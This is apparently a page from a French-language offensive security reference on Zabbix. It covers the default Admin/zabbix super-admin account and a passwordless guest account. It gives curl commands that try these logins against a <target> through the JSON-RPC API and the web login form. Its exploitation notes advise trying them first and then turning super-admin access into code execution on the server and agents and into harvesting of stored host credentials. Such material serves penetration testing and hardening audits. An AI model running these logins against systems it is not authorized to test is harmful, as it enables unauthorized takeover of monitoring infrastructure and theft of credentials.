Le compte Super admin par défaut de Zabbix est Admin (A majuscule) avec le mot de passe zabbix, et il reste inchangé sur une large proportion d'installations réelles, car les opérateurs se concentrent sur la configuration de la supervision et négligent la connexion. Historiquement, un compte guest était aussi activé par défaut (sans mot de passe) pour un accès en lecture. Ainsi, la première action contre toute instance Zabbix est d'essayer Admin/zabbix sur la connexion web et l'API, et de vérifier la présence de guest. Un Admin/zabbix fonctionnel est un Super admin immédiat : accès complet à la configuration, inventaire des utilisateurs et des hôtes avec ses identifiants stockés, et fonctionnalité d'exécution de scripts qui donne l'exécution de code sur le serveur et les agents.
Z=https://<target>/zabbix/api_jsonrpc.php; H='Content-Type: application/json-rpc'
# the default super admin
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}'
# via the web login form
curl -sk -c cj https://<target>/zabbix/index.php \
--data 'name=Admin&password=zabbix&enter=Sign+in&autologin=1'
# check guest (older defaults)
curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"guest","password":""},"id":1}'
Notes d'exploitation#
Admin/zabbixest la valeur par défaut canonique et accorde le statut Super admin ; c'est la vérification au plus fort rendement unique, donc essayez-la en premier sur le formulaire web et sur l'API.- Le nom d'utilisateur est sensible à la casse (
Admin, pasadmin) ; une tentative en minuscules échoue même lorsque la valeur par défaut est en place. - Un compte
guestprésent (mot de passe vide) accorde un accès en lecture même sans l'admin ; voir Accès guest. - L'accès Super admin mène directement à l'exécution de code via les scripts et à la récolte des macros des hôtes ; traitez un succès sur les identifiants par défaut comme une compromission complète de la plateforme.